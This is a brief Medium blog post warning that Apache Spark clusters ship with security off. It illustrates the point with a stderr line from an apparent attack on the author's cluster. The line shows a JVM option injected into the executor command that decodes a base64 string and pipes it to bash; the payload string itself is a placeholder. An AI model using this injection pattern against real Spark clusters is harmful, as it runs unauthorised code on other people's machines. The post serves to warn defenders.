A Spark Attack

Time to check your spark clusters

Maria Karanasou
Nov 28, 2020 · 3 min read
Image for post
Image for post
Image by Author

Security in Spark is OFF by default

Image for post
Image for post
Note the ML exp by user lamdba
Image for post
Image for post
The Application details — not much, just the following line in the stderr
Spark Executor Command: “/usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java” “-cp” “/usr/local/spark/conf/:/usr/local/spark/jars/*” “-Xmx1024M” “-Dspark.driver.port=17841" “-XX:OnOutOfMemoryError=echo somebase64encodedstring |base64 -d|bash” “-Xmx02m” “org.apache.spark.executor.CoarseGrainedExecutorBackend” “-driver-url” “spark://CoarseGrainedScheduler@ip:17841" “-executor-id” “0" “-hostname” “up" “-cores” “20" “-app-id” “app-20201113130818–0005" “-worker-url” “spark://Worker@ip:46609"
Image for post
Image for post
The stderr of ML exp

SECURE YOUR SPARK CLUSTERS!

The Startup

Medium's largest active publication, followed by +754K people. Follow to join our community.

Maria Karanasou

Written by

A mom and a Software Engineer that loves to learn new things & is fascinated by ML & Big Data. Writing to better understand what I know & to get to know more

The Startup

Medium's largest active publication, followed by +754K people. Follow to join our community.

Maria Karanasou

Written by

A mom and a Software Engineer that loves to learn new things & is fascinated by ML & Big Data. Writing to better understand what I know & to get to know more

The Startup

Medium's largest active publication, followed by +754K people. Follow to join our community.

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store